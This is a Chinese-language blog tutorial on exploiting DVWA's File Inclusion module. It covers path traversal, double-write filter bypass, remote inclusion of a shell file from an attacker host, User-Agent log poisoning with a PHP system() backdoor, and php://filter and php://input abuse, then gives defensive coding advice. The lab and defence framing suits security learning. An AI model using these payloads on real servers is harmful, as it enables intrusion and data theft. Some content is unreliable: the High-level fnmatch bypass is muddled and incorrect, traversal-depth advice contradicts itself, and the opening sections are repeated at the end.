做Web安全测试的朋友对DVWA这个靶场应该都不陌生。前阵子我把File Inclusion模块从Low到High又完整刷了一遍,发现很多细节值得记录。文件包含(File Inclusion)漏洞说起来并不复杂,本质就是让程序去加载一个由用户可控的文件路径,但它在实战中能玩出的花样远比很多入门教程写的多:从读取敏感文件到伪协议拿源码,再从日志注入到getshell,思路是一层一层递进的。这篇文章就围绕DVWA的File Inclusion模块展开,把漏洞原理、不同安全等级下的绕过思路和防御方案拆开细说,适合两类人:一是刚接触Web安全的测试新人,二是想搞清楚灰盒测试原理的开发人员。1. 文件包含漏洞的核心原理1.1 从代码复用机制到漏洞成因要理解文件包含漏洞,得先从编程语言里的"文件包含"机制说起。在PHP这类动态语言里,开发者经常会把公共代码抽出来放到独立文件里,比如数据库连接类、公共函数库、页面头部和底部模板,然后在主页面里通过include、require、include_once、require_once这些指令把它们加载进来。这种代码复用方式非常普遍,几乎每个PHP项目都会用到。问题就出在这里:当include的文件路径是由外部输入拼接出来,而程序又没有对这个输入做严格校验时,攻击者就可以通过控制这个参数,让服务器去包含一个原本不该被包含的文件。打个比方,文件包含机制就像办公室门禁卡系统,"include一个文件"等于持卡进入某个房间,正常情况下门禁系统只允许刷自己的工卡进入对应的工位区域,但如果系统没有校验卡片来源,任何人拿着一张写着"档案室"的纸条都能开门进去,甚至还能顺着纸条进入隔壁的机密机房。在DVWA的File Inclusion模块里,页面切换就是通过一个page参数来实现的。正常逻辑是:http://测试机/dvwa/vulnerabilities/fi/?page=file1.php程序做的事情就是拿到page参数的值,然后拼到路径里include进来展示给用户。如果没有任何防护,攻击者把page的值改成:../../../../etc/passwd服务器就会把系统的用户账号文件内容当成页面的一部分输出。这就是本地文件包含漏洞(LFI),也是文件包含问题里最经典、最常见的一种形态。1.2 本地文件包含与远程文件包含文件包含漏洞按照文件来源可以分成两类:本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)。本地文件包含很好理解,被包含的文件是目标服务器本地的文件,无论是系统文件还是应用自身目录下的文件。它的核心危害有两个方向:第一是敏感信息泄露,比如读取配置文件、数据库密码文件、应用源码;第二是配合其他机制执行代码,比如把PHP代码写入日志文件、Session文件或临时文件,再通过LFI把这段代码"包含"进来触发执行。远程文件包含则是指让程序去加载一个远程服务器上的文件,这段文件通常是由攻击者自己准备的。远程包含的危害更直接,只要目标机器配置允许(PHP里对应allow_url_include=On),攻击者直接构造这样的请求:http://测试机/dvwa/vulnerabilities/fi/?page=http://攻击者机/shell.txtshell.txt里面是一段PHP恶意代码,目标服务器会把远程文件拉下来当成本地脚本执行,攻击者就直接拿下Web权限。可以说,RFI一旦存在,风险等级基本可以直接拉满。但这里有一个重要的现实背景:现代PHP默认配置里allow_url_include是Off,所以RFI在实际环境中出现的概率比过去低很多。真正高频出现的是LFI,或者LFI加日志注入的组合利用。理解这个背景很重要,因为你去测一个目标时,第一反应不该是试着去包含外部URL,而是先看本地文件泄露,再琢磨怎么写文件进去形成闭环。DVWA里给所有等级做的防护设计也是围绕这两个方向来的,后面我会逐步拆解。1.3 漏洞影响面分析文件包含漏洞影响几何,很多人第一反应就是"能读文件",其实影响面远不止于此。我把常见的影响分成三个层级:第一层是信息泄露。通过目录穿越读取系统文件,拿到的不只是/etc/passwd这种东西,更关键的是应用自身的配置文件,比如数据库连接参数、密钥文件、源码文件。只要有任意一个PHP文件被读出来,代码里的业务逻辑、硬编码口令、第三方接口密钥全都暴露了。在很多企业内网测试里,这一步往往就是突破口。第二层是代码执行。通过日志注入、Session文件注入或者配合文件上传功能,把一个包含恶意PHP代码的文件写到服务器上,然后利用LFI把它包含执行。这一步达成后,目标Web服务器就基本沦陷了,后续可以上传webshell、提权、横向移动。在很多实战攻击路径里,LFI就是那个"最后一公里"的跳板。第三层是内网探测与横向影响。读取到的配置里可能包含内网其他系统的地址、数据库地址、中间件版本,这些信息会被用来扩大战果。比如读出了某个内网管理后台的数据库账号,攻击者就能在内网里换个方向继续打。所以即便是看起来只是一个文件读取问题,在合规授权的前提下,它的利用价值也值得评估者认真对待。2. 基于DVWA的实战环境搭建与准备2.1 为什么选择DVWA做实验靶场DVWA(Damn Vulnerable Web Application)是安全圈里非常知名的开源靶场系统,它的定位就是供安全人员合法练习Web漏洞检测和利用技术。它最大的特点是内置了多种常见漏洞模块,而且每个模块都提供了四个安全等级:Low、Medium、High、Impossible。这种设计让新手可以直观看到同一漏洞在不同防护强度下的利用难度差异,也能让有经验的测试人员快速试验绕过手法。相比自己搭业务系统来练手,DVWA的资源占用极小、部署简单、环境完全可控,不存在误伤真实业务的可能。我在本地虚拟环境里跑了一套,整个搭建过程十几分钟就能完成,非常适合用来做漏洞原理分析和防御验证。本文后续所有复现动作都基于DVWA靶场环境,目标地址也全部使用测试网段,这是做安全测试的基本底线,读者在实际操作中也要注意只能在授权范围内进行实验。2.2 环境准备四件套要在本地把DVWA跑起来,我建议准备一套最小的组合:一台能跑Web服务的机器、DVWA源码、一个数据库、一个抓包工具。操作系统用Linux或Windows都行,我这里用的是Ubuntu虚拟环境加标准LAMP栈。整个搭建过程大致是:# 安装基础环境(以LAMP为例) sudo apt update sudo apt install apache2 mariadb-server php php-mysql libapache2-mod-php # 下载DVWA源码并解压到Web根目录 wget https://github.com/dvwa/dvwa/archive/refs/heads/master.zip unzip master.zip sudo mv dvwa-master /var/www/html/dvwa # 复制配置文件并填写数据库信息 cd /var/www/html/dvwa/config sudo cp config.inc.php.dist config.inc.php这里有个容易踩的坑,配置文件里的数据库密码要和本地Mariadb设置的一致,否则DVWA连不上库,安装流程会在第一步就卡住。配置好基本环境后,浏览器访问DVWA的安装页面,点击创建数据库按钮,它会自动建库建表,然后把登录密码改为admin/password就能进入了。测试过程中为了方便抓包分析,我习惯在本地装一个抓包工具,观察请求和响应。有一款跨平台的抓包工具,比如Fiddler或Burp Suite Community这类免费工具都够用。需要强调的是,抓包工具在这里是辅助分析的手段,不是必需的,但有了它你才能看清每个等级下请求参数的真实变化,尤其是后面讲Medium级别绕过时,你会需要观察当page参数经过服务端过滤后实际被拼接到文件路径里的完整形态。2.3 熟悉靶场界面与安全等级登录DVWA后,主页面左侧有一排漏洞模块导航栏,点进File Inclusion就会看到这个练习页面。页面里有几个可以切换的链接,我印象中是file1.php、file2.php、file3.php,底部还有一个提交按钮。每个链接的URL其实都带上了page参数,比如点击file1.php对应的URL就是:http://测试机/dvwa/vulnerabilities/fi/?page=file1.php页面顶部有一个Security Level选项,你可以随时切到Low、Medium、High,也可以重置到Impossible做对比。这块设计的初衷是让你在同一个漏洞点测试不同的防御强度,这种方式在学习阶段比直接看一堆代码要直观得多。Under the hood,DVWA的File Inclusion模块源码目录下有三个PHP文件,分别对应Low、Medium、High三种防护实现。Impossible级别其实也是代码参考,它展示的是正确写法。我强烈建议你在做实验时打开这些源码对照着看,代码量很小,都是函数级别的差异,比单纯靠黑盒猜测高效得多。接下来按等级逐一复现,我会把每个等级服务器端代码的判断逻辑和绕过方式都讲出来,方便你对号入座。3. 漏洞复现过程与思路拆解3.1 Low级别:裸奔的路径拼接先把安全等级调到Low,访问File Inclusion模块并点击其中一个文件,页面会正常显示对应内容。这个时候抓包观察参数,你可以看到URL是这样的:http://测试机/dvwa/vulnerabilities/fi/?page=file1.php正常页面显示的是一段固定文本。然后把page参数改成:../../../../etc/passwd也就是构造这样一个URL:http://测试机/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd页面里会出现系统密码文件的内容,标准格式类似:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...这里可能出现的路径组合需要多试几次。用../../../../这个层级数量不是固定的,它取决于DVWA部署目录离根目录有多远。实际上最常见的情况是应用在/var/www/html/dvwa/vulnerabilities/fi/下面,需要跨越的目录层级比较多,所以我这里写的四个../通常不够,实际测试时可以从两个开始逐个递增,直到出现有效的系统文件内容。Low级别的源码逻辑大概是这样的:$file = $_GET['page']; if (isset($file)) { include($file); }它拿到参数后,既不限制文件路径格式,也不限制文件类型,直接就include了。这就是典型的裸奔写法,相当于门卫只看你有没有出示一张写着地址的纸条,完全不检查地址本身是否合法、纸条是不是伪造的。没有任何输入验证,所以直接目录穿越就成功了。这个级别想强调的重点是:目录穿越的利用不需要多么高级的技巧,纯粹是逻辑缺失。实际开发里出现过很多类似的代码,比如页面模板参数、语言切换参数、主题切换参数,只要参数名看起来是"正常的",开发就容易忽略校验。你在做代码审计时,凡是看到变量被拼接到include、require、fopen、readfile这类函数里,都要绷紧一根弦。注意:这里的目录层级必须根据目标环境调整。在DVWA默认部署路径下,常见的能读取到系统文件的层级组合通常是五个或六个../。测试时推荐用../../../../../../这种多级写法,如果一次不行就逐渐增加层级,这属于路径穿越的基础节奏。3.2 Medium级别:关键字替换与双写绕过把安全等级切到Medium,再试试刚才的payload,你会发现页面报错了。这说明服务端对输入做了一定的过滤。查看源码,你会发现Medium级别的核心逻辑是这样的:$file = str_replace(array("http://", "https://", "../"), "", $_GET['page']); include($file);关键点是使用了str_replace函数把http://、https://和../直接替换成空字符串,然后再去include。这个设计思路是想把目录穿越和远程包含的常见关键字都"抹掉",看起来好像堵住了一条大路,但它犯了一个非常经典的错误:过滤只执行了一次,而且没有递归处理。绕过方式有两个方向。第一个是双写。既然../会变成空字符串,那我就把payload写成..././。你观察一下:..././这个字符串里包含../吗?确实包含,去掉它是如何变化的呢?str_replace把第一个../替换成空后,剩下的部分刚好拼成另一个../。用更容易理解的方式说:字符串..././去掉被替换的../之后,中间的./与后面的点拼在一起就重新构成了一个新的../。最终include的路径仍然是带着../的完整目录穿越路径。实际构造出来的payload可以是:..././..././..././..././etc/passwd这个payload里每一组..././经过一次替换都会留下一个../,所以整个字符串在服务器端处理完后就等价于:../../../../etc/passwd效果和在Low级别一样,直接读取到了系统文件。第二个绕过点是远程包含的关键字过滤。Medium只把http://和https://替换为空,但并没有拦截其他协议,而且http://这个关键字可以通过双写协议头绕过,比如http://http://这么写,str_replace会去掉中间的http://,结果剩下的还是http://。不过在现在的环境里,主要还是以目录穿越为主,所以我这里就不展开远程包含的演示了。Medium级别的教训很典型:黑名单过滤思路本身就有天然缺陷。你永远无法穷举所有可能的攻击写法,只要开发者少考虑一种变形,攻击者就能趁虚而入。对于安全入门者来说,理解str_replace的"非递归"问题很重要,很多真实系统里都有这类绕过点。我在实际测试中见过不止一次,开发为了防目录穿越写了一个正则,结果因为只替换一次导致一整片代码形同虚设。所以我们要刻意训练自己从"数据流向"角度思考绕过,而不是死记payload格式。3.3 High级别:白名单限制与日志包含把安全等级调到High,再来试之前的手段。你会发现不管用什么路径穿越写法,页面都只会显示file1.php到file3.php这三个固定页面的内容。这个级别的防护思路变了,从黑名单过滤改成了白名单校验。源码逻辑是:$file = $_GET['page']; if (!fnmatch("file*", $file)) { exit("不允许访问该文件"); } include($file);fnmatch这个函数会用"file*"这个模式去匹配page参数,只要不是以file开头的路径都会被拒绝。这意味着你没法用page=../../../../etc/passwd这种方式直接穿越了。那么High级别是不是就绝对安全了?并不是。问题在于白名单仍然只约束了变量的"开头",却没有限制文件路径解析的终点。page参数可以匹配"file*"的前提下,攻击者还能不能通过别的手段把恶意代码弄进服务器?答案是肯定的,最常见的手法就是日志注入。在标准LAMP环境下,Apache会把访问日志写入到类似/var/log/apache2/access.log这样的文件里。日志里会记录User-Agent,也就是浏览器标识,而且是不做过滤的。那么我就可以构造一个请求,在User-Agent字段里写入一段PHP代码,访问一次日志文件就会把这行带恶意代码的记录保存下来。日志文件本身是本地文件,而且以日志路径的形态存在,并不以file开头——那我能不能让它被包含呢?构造一个这样的请求:User-Agent: <?php system($_GET['cmd']); ?>然后访问目标包含页面。注意,真正让日志写入成功的请求最好是直接访问DVWA的任意一个页面,因为Apache会记录所有到达站点的HTTP头。下一步,利用High级别的页面对page参数做一次路径穿越,去包含日志文件:page=../../../../var/log/apache2/access.log由于日志文件路径不以"file"开头,照理会被fnmatch拦住,但这里有个细节:fnmatch匹配的是page参数本身,所以我可以直接把文件路径写成一个"看起来以file开头的路径"来绕过。例如利用路径穿越构造:page=file.../.../.../.../var/log/apache2/access.log或者更常见的方式是借助PHP的一些路径解析特性。不过实际过程中最核心的一步是保证access.log中能插入含有效PHP代码的请求,然后想办法让include能把这个本地日志作为文件包含进来。因为日志文件内容可能非常长、包含各种特殊字符,直接包含往往很难完美执行,所以现实中还要配合日志清理或小心构造测试请求来降低干扰。这个思路在真实场景里需要大量调试,但原理本身很值得吃透。除了访问日志之外,类似的注入点还有Session文件。PHP默认会把Session数据存储在临时目录里,比如/var/lib/php/sessions/。如果应用会把一些用户输入存储到Session变量中,那么通过控制输入内容为PHP代码,再结合LFI去包含对应的Session文件,同样能达到代码执行的效果。DVWA里没有专门做这个演示,但我在其他靶场练习中实践过,思路是完全通用的。如果还想在High级别做更多的尝试,还可以考虑php://filter伪协议。等一下,php://filter不只可以帮助读取源码,它还有一个额外的价值:php://filter是允许在include中使用的一种流封装器,它可以把一个文件的内容经过某种过滤器处理后返回给include。之前很多资料里会把php://filter和文件读取混为一谈,实际上在权限允许的情况下,它可以读取任意本地文件内容,而不仅仅是以page=file开头的文件。但在High级别里,fnmatch依然会拦截,因为php://不是以file开头。所以High级别的防护对伪协议也是有效的。提示:在High级别的场景中,最值得练习的是日志注入与环境探测的结合:先构造恶意User-Agent写入日志,再通过路径穿越去寻找AIX、Apache、Nginx等不同Web服务的日志位置。日志路径因系统而异,提前掌握常见路径可以少走很多弯路。3.4 伪协议利用:不依赖目录穿越也能拿源码在很多实际目标里,我们不一定知道Web应用的绝对路径,目录穿越的层级也不容易一次试对。这时候PHP伪协议就派上用场了。DVWA的Low和Medium级别都支持利用php://filter读取应用源码。具体做法是:page=php://filter/convert.base64-encode/resource=config.php它的作用是把config.php文件的内容进行base64编码后输出,因为直接输出PHP文件会被服务器执行,你什么也看不到,而base64编码之后你就能拿到完整的源码内容,再本地解码一遍就等于白嫖了一份源码。这在代码审计和漏洞分析里价值很大,相当于手把手指给你看。有人可能会问,php://filter本身不产生目录穿越,怎么就能读到文件呢?关键在于resource参数指定的是相对于当前include路径的文件路径。DVWA的config.php就在当前目录下,所以直接写文件名就能定位到。如果是其他位置,也可以在里面写相对或绝对路径。这种"不直接require,而是把内容当作数据流经过过滤器输出"的机制,是伪协议最香的地方。其实php://filter能用的过滤器不止base64,还有string.rot13等。但在读取源码场景下,base64是最佳的,因为它无损耗、可控性强。需要说明的是,这个功能在PHP 5.2之后的版本里一直存在,并且默认开启,不需要allow_url_include为On,所以实战价值非常高。另外还有一个容易被忽视的伪协议,就是php://input。如果目标代码有include($_GET['page'])且没有限制协议,你可以把POST请求体写成PHP代码,拿page=php://input,直接让include把POST体当PHP执行。这个方案在allow_url_include开启的情况下同样可以工作,而且不需要额外写文件,干净利落。很多早期CTF题都靠这一招拿分。不过DVWA里默认配置没有开这个功能,所以我就在本文提一嘴,真要复现的话记得检查测试环境配置。3.5 实战路径延伸:从文件包含到命令执行如果你已经能通过文件包含读取文件或者借助日志注入执行了代码,接下来就要考虑把这个漏洞的利用价值最大化。在很多授权测试项目中,拿到WebShell只是起点,后续的提权、内网渗透才是重头戏。但本文范围限定在文件包含漏洞本身,所以只聊一下从文件包含直接导向命令执行的一种常见形态。假设你已经通过日志注入让apache日志里的User-Agent变成了一段调用系统命令的PHP后门代码,那么你访问目标页面时带上命令参数:page=../../../../../var/log/apache2/access.log&cmd=id如果日志包含成功,页面里就会回显出一行类似uid=33(www-data)的信息。这说明命令执行已经打通,后续就可以用命令执行来读取数据库配置、查看Web目录结构、上传工具等等。从LFI到RCE的链路,到此就闭环了。这个链路里有几个实际注意点:第一,日志文件体积通常很大,包含日志页面可能会特别卡顿,甚至超时,测试时要考虑用较小的日志文件或者清理部分日志来降低噪音;第二,日志里的PHP代码经常会被换行、引号等干扰,构造时要尽可能用不含特殊符号的短payload;第三,目标Web服务器可能有多层代理,User-Agent经过代理改写后不一定原样写入日志,所以并不是每次都能成功。这些经验听起来琐碎,但在实战中都是决定成败的细节。我个人的建议是,在DVWA里把日志注入这条线完整走三遍:第一遍照文档操作,第二遍尝试只靠浏览器控制台完成所有请求,第三遍完全脱离教程自己去推测日志路径和注入点。三遍下来,从LFI到RCE的链路理解会扎实很多。4. 防护思路与安全编码建议4.1 源头治理:白名单与路径校验前面演示了Low、Medium、High三个等级的绕过方式,可以发现一个规律:凡是靠黑名单过滤的,最后都被各种变形绕过了;凡是靠白名单限制的,虽然没有完全免疫,但利用难度确实高了很多。所以防御文件包含漏洞的正确姿势,首先就是白名单。白名单有两种落地方式。第一种是枚举法:把允许包含的文件名列成一个数组,比如file1.php、file2.php、file3.php,用户传进来的page参数必须在数组里才继续执行,否则直接拒绝。这个写法最安全,也最简单,适合页面数量有限的业务场景。第二种是目录前缀约束:include的时候给用户输入强制拼接一个固定的前置目录,比如:$baseDir = '/var/www/app/views/'; $file = $baseDir . basename($_GET['page']); include($file);用basename函数去掉路径中的../,前置目录就固定到views下面了。这种方式的好处是即使参数带了目录穿越也没法逃出去,坏处是basename在某些情况下会把多级目录折叠掉,所以如果你的业务需要支持子目录,就要用另一个等价的方案,比如对路径做realpath后检查是否仍在前置目录内:$baseDir = realpath('/var/www/app/views/'); $path = realpath($baseDir . '/' . $_GET['page']); if (strpos($path, $baseDir) === 0) { include($path); }这个写法利用realpath把路径解析成绝对路径,再判断解析结果是否仍然在前置目录范围内,相当于把后门彻底焊死了。使用这种方式,即使用户写了各种古怪路径,最终都会被真实文件系统解析后验证,不需要死记硬背payload的写法。4.2 从配置层面加固运行环境代码层面的校验做得再完美,也不建议把所有防御希望都放在一层上。在PHP运行环境层面,还有几个非常实用的加固项:第一,关闭危险配置。在php.ini里确认allow_url_include=Off,这是阻断RFI最直接的手段。默认安装的PHP 7以上版本大部分是关闭的,但有些老项目、或者为了图方便改过配置的环境可能开着,一旦开启,配合一个include变量就等于把服务器拱手送人。第二,配置open_basedir。open_basedir用来限制PHP脚本能访问的目录范围。比如把它设置成Web根目录加临时目录,那么即使出现LFI,攻击者想通过目录穿越去读/etc/passwd和系统其他文件也读不到,因为PHP在文件操作层面就直接拦截了。这个配置对PHP系的所有文件操作函数都生效,性价比非常高。第三,控制上传功能。很多文件包含利用最终依赖的是"把代码写到服务器上"。如果应用本身有文件上传功能,一定要严格检查文件内容后缀、MIME类型,并且把上传目录放到不执行PHP的独立目录,或者通过Nginx配置禁掉uploads目录的PHP解析能力。这里很多文档都会提,但实际企业中执行不彻底,比如有的只检查了Content-Type,攻击者改个包就能绕过。正确的做法是使用随机文件名加白名单扩展名双重限制。4.3 面向开发团队的安全设计建议如果你负责的是项目的代码架构,而不是单纯修一个漏洞,那我认为更有价值的思路是把文件读取、模板渲染这类操作统一收口。也就是说,不要让业务代码各自去调include、file_get_contents之类的函数,而是封装到一个公共的视图加载器或文件读取服务里,安全校验只在这个服务里做一次。这样即使以后新增了功能,开发也不会因为不熟悉安全要求而引入新的文件包含点。举个例子,在一个典型的MVC框架项目里,视图层的控制器会去加载模板文件。这时控制器不应该直接把用户的输入拼到模板路径上,而是通过一个View类来解析真实路径。类似这种集中式控制,加上单元测试覆盖,就能把遗漏的概率压到很低。我见过不少代码审计报告,问题都出在"这个变量是内部传过来的,不可能被用户控制"这个假设上。但真实世界里,通过HTTP请求参数、Cookie、Referer、上传文件名等入口,很多你以为"不可能"的地方就是能被污染。所以在设计时,就要默认所有外部数据都是不可信的,内部数据要进到文件路径这层,也要经过同样的校验,这个意识比具体某行代码重要得多。4.4 测试与审计视角的防护验证清单最后,给做测试和负责验收的读者整理一份自查清单,方便在评估文件包含漏洞时参考对照:检查项目预期结果不满足时的风险用户输入是否直接拼接到include/require必须经过白名单或路径校验存在LFIallow_url_include配置必须为Off存在RFI关键目录是否有open_basedir限制应配置目录穿越可读取系统文件日志、Session等文件是否可能写入恶意代码应清理外部输入日志注入后可以RCE错误信息是否暴露绝对路径应屏蔽泄露路径,辅助对象攻击文件上传与包含是否隔离必须相互独立上传后门可直接执行这份清单是我在几次评估项目里总结出来的,拿着它去对着代码过一遍,基本能覆盖大多数文件包含漏洞的主要风险点。当然,实际测试中还需要结合目标架构特点灵活调整,比如Windows环境下路径分隔符、大小写问题会衍生出新的绕法,Linux下可以考虑的空字节截断在较新版本PHP里也基本失效了,但这些都属于进阶话题,本文先不展开。个人体会与最后提醒在DVWA里反复测试完这几个等级,我最大的感触是:文件包含漏洞的攻防本质,从来不在于某个具体的payload,而在于"是否信任了不该信任的数据"。Low级别是什么都不限,Medium级别是过滤不彻底被双写绕掉,High级别虽然卡住了直接的目录穿越却依然能被日志注入拉到RCE。这说明单纯靠堵已知的几个关键字和写法,永远追不上攻击者的变形思路。真正有效的防御,还是得回到白名单、最小权限、集中校验这些整体性思路上来。如果你正在练习这个漏洞,除了照我上面的步骤把每个等级都过一遍,我更建议你用一天时间专门玩一下日志注入的变种,不局限于Apache日志,尝试把PHP代码塞到Session文件、临时文件、甚至系统邮箱文件里,再通过LFI触发。这个过程会让你对"文件在哪"这个概念产生很深的体感,比看任何文章都管用。我自己也是在这样反复折腾之后,才真正理解为什么文件包含漏洞被称为"拎包入住"式的漏洞。希望这篇实战记录能帮你在测试和防御两条路上都少走几步弯路。
做Web安全测试的朋友对DVWA这个靶场应该都不陌生。前阵子我把File Inclusion模块从Low到High又完整刷了一遍,发现很多细节值得记录。文件包含(File Inclusion)漏洞说起来并不复杂,本质就是让程序去加载一个由用户可控的文件路径,但它在实战中能玩出的花样远比很多入门教程写的多:从读取敏感文件到伪协议拿源码,再从日志注入到getshell,思路是一层一层递进的。这篇文章就围绕DVWA的File Inclusion模块展开,把漏洞原理、不同安全等级下的绕过思路和防御方案拆开细说,适合两类人:一是刚接触Web安全的测试新人,二是想搞清楚灰盒测试原理的开发人员。1. 文件包含漏洞的核心原理1.1 从代码复用机制到漏洞成因要理解文件包含漏洞,得先从编程语言里的"文件包含"机制说起。在PHP这类动态语言里,开发者经常会把公共代码抽出来放到独立文件里,比如数据库连接类、公共函数库、页面头部和底部模板,然后在主页面里通过include、require、include_once、require_once这些指令把它们加载进来。这种代码复用方式非常普遍,几乎每个PHP项目都会用到。问题就出在这里:当include的文件路径是由外部输入拼接出来,而程序又没有对这个输入做严格校验时,攻击者就可以通过控制这个参数,让服务器去包含一个原本不该被包含的文件。打个比方,文件包含机制就像办公室门禁卡系统,"include一个文件"等于持卡进入某个房间,正常情况下门禁系统只允许刷自己的工卡进入对应的工位区域,但如果系统没有校验卡片来源,任何人拿着一张写着"档案室"的纸条都能开门进去,甚至还能顺着纸条进入隔壁的机密机房。在DVWA的File Inclusion模块里,页面切换就是通过一个page参数来实现的。正常逻辑是:http://测试机/dvwa/vulnerabilities/fi/?page=file1.php程序做的事情就是拿到page参数的值,然后拼到路径里include进来展示给用户。如果没有任何防护,攻击者把page的值改成:../../../../etc/passwd服务器就会把系统的用户账号文件内容当成页面的一部分输出。这就是本地文件包含漏洞(LFI),也是文件包含问题里最经典、最常见的一种形态。1.2 本地文件包含与远程文件包含文件包含漏洞按照文件来源可以分成两类:本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)。本地文件包含很好理解,被包含的文件是目标服务器本地的文件,无论是系统文件还是应用自身目录下的文件。它的核心危害有两个方向:第一是敏感信息泄露,比如读取配置文件、数据库密码文件、应用源码;第二是配合其他机制执行代码,比如把PHP代码写入日志文件、Session文件或临时文件,再通过LFI把这段代码"包含"进来触发执行。远程文件包含则是指让程序去加载一个远程服务器上的文件,这段文件通常是由攻击者自己准备的。远程包含的危害更直接,只要目标机器配置允许(PHP里对应allow_url_include=On),攻击者直接构造这样的请求:http://测试机/dvwa/vulnerabilities/fi/?page=http://攻击者机/shell.txtshell.txt里面是一段PHP恶意代码,目标服务器会把远程文件拉下来当成本地脚本执行,攻击者就直接拿下Web权限。可以说,RFI一旦存在,风险等级基本可以直接拉满。但这里有一个重要的现实背景:现代PHP默认配置里allow_url_include是Off,所以RFI在实际环境中出现的概率比过去低很多。真正高频出现的是LFI,或者LFI加日志注入的组合利用。理解这个背景很重要,因为你去测一个目标时,第一反应不该是试着去包含外部URL,而是先看本地文件泄露,再琢磨怎么写文件进去形成闭环。DVWA里给所有等级做的防护设计也是围绕这两个方向来的,后面我会逐步拆解。1.3 漏洞影响面分析文件包含漏洞影响几何,很多人第一反应就是"能读文件",其实影响面远不止于此。我把常见的影响分成三个层级:第一层是信息泄露。通过目录穿越读取系统文件,拿到的不只是/etc/passwd这种东西,更关键的是应用自身的配置文件,比如数据库连接参数、密钥文件、源码文件。只要有任意一个PHP文件被读出来,代码里的业务逻辑、硬编码口令、第三方接口密钥全都暴露了。在很多企业内网测试里,这一步往往就是突破口。第二层是代码执行。通过日志注入、Session文件注入或者配合文件上传功能,把一个包含恶意PHP代码的文件写到服务器上,然后利用LFI把它包含执行。这一步达成后,目标Web服务器就基本沦陷了,后续可以上传webshell、提权、横向移动。在很多实战攻击路径里,LFI就是那个"最后一公里"的跳板。第三层是内网探测与横向影响。读取到的配置里可能包含内网其他系统的地址、数据库地址、中间件版本,这些信息会被用来扩大战果。比如读出了某个内网管理后台的数据库账号,攻击者就能在内网里换个方向继续打。所以即便是看起来只是一个文件读取问题,在合规授权的前提下,它的利用价值也值得评估者认真对待。2. 基于DVWA的实战环境搭建与准备2.1 为什么选择DVWA做实验靶场DVWA(Damn Vulnerable Web Application)是安全圈里非常知名的开源靶场系统,它的定位就是供安全人员合法练习Web漏洞检测和利用技术。它最大的特点是内置了多种常见漏洞模块,而且每个模块都提供了四个安全等级:Low、Medium、High、Impossible。这种设计让新手可以直观看到同一漏洞在不同防护强度下的利用难度差异,也能让有经验的测试人员快速试验绕过手法。相比自己搭业务系统来练手,DVWA的资源占用极小、部署简单、环境完全可控,不存在误伤真实业务的可能。我在本地虚拟环境里跑了一套,整个搭建过程十几分钟就能完成,非常适合用来做漏洞原理分析和防御验证。本文后续所有复现动作都基于DVWA靶场环境,目标地址也全部使用测试网段,这是做安全测试的基本底线,读者在实际操作中也要注意只能在授权范围内进行实验。2.2 环境准备四件套要在本地把DVWA跑起来,我建议准备一套最小的组合:一台能跑Web服务的机器、DVWA源码、一个数据库、一个抓包工具。操作系统用Linux或Windows都行,我这里用的是Ubuntu虚拟环境加标准LAMP栈。整个搭建过程大致是:# 安装基础环境(以LAMP为例) sudo apt update sudo apt install apache2 mariadb-server php php-mysql libapache2-mod-php # 下载DVWA源码并解压到Web根目录 wget https://github.com/dvwa/dvwa/archive/refs/heads/master.zip unzip master.zip sudo mv dvwa-master /var/www/html/dvwa # 复制配置文件并填写数据库信息 cd /var/www/html/dvwa/config sudo cp config.inc.php.dist config.inc.php这里有个容易踩的坑,配置文件里的数据库密码要和本地Mariadb设置的一致,否则DVWA连不上库,安装流程会在第一步就卡住。配置好基本环境后,浏览器访问DVWA的安装页面,点击创建数据库按钮,它会自动建库建表,然后把登录密码改为admin/password就能进入了。测试过程中为了方便抓包分析,我习惯在本地装一个抓包工具,观察请求和响应。有一款跨平台的抓包工具,比如Fiddler或Burp Suite Community这类免费工具都够用。需要强调的是,抓包工具在这里是辅助分析的手段,不是必需的,但有了它你才能看清每个等级下请求参数的真实变化,尤其是后面讲Medium级别绕过时,你会需要观察当page参数经过服务端过滤后实际被拼接到文件路径里的完整形态。2.3 熟悉靶场界面与安全等级登录DVWA后,主页面左侧有一排漏洞模块导航栏,点进File Inclusion就会看到这个练习页面。页面里有几个可以切换的链接,我印象中是file1.php、file2.php、file3.php,底部还有一个提交按钮。每个链接的URL其实都带上了page参数,比如点击file1.php对应的URL就是:http://测试机/dvwa/vulnerabilities/fi/?page=file1.php页面顶部有一个Security Level选项,你可以随时切到Low、Medium、High,也可以重置到Impossible做对比。这块设计的初衷是让你在同一个漏洞点测试不同的防御强度,这种方式在学习阶段比直接看一堆代码要直观得多。Under the hood,DVWA的File Inclusion模块源码目录下有三个PHP文件,分别对应Low、Medium、High三种防护实现。Impossible级别其实也是代码参考,它展示的是正确写法。我强烈建议你在做实验时打开这些源码对照着看,代码量很小,都是函数级别的差异,比单纯靠黑盒猜测高效得多。接下来按等级逐一复现,我会把每个等级服务器端代码的判断逻辑和绕过方式都讲出来,方便你对号入座。3. 漏洞复现过程与思路拆解3.1 Low级别:裸奔的路径拼接先把安全等级调到Low,访问File Inclusion模块并点击其中一个文件,页面会正常显示对应内容。这个时候抓包观察参数,你可以看到URL是这样的:http://测试机/dvwa/vulnerabilities/fi/?page=file1.php正常页面显示的是一段固定文本。然后把page参数改成:../../../../etc/passwd也就是构造这样一个URL:http://测试机/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd页面里会出现系统密码文件的内容,标准格式类似:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...这里可能出现的路径组合需要多试几次。用../../../../这个层级数量不是固定的,它取决于DVWA部署目录离根目录有多远。实际上最常见的情况是应用在/var/www/html/dvwa/vulnerabilities/fi/下面,需要跨越的目录层级比较多,所以我这里写的四个../通常不够,实际测试时可以从两个开始逐个递增,直到出现有效的系统文件内容。Low级别的源码逻辑大概是这样的:$file = $_GET['page']; if (isset($file)) { include($file); 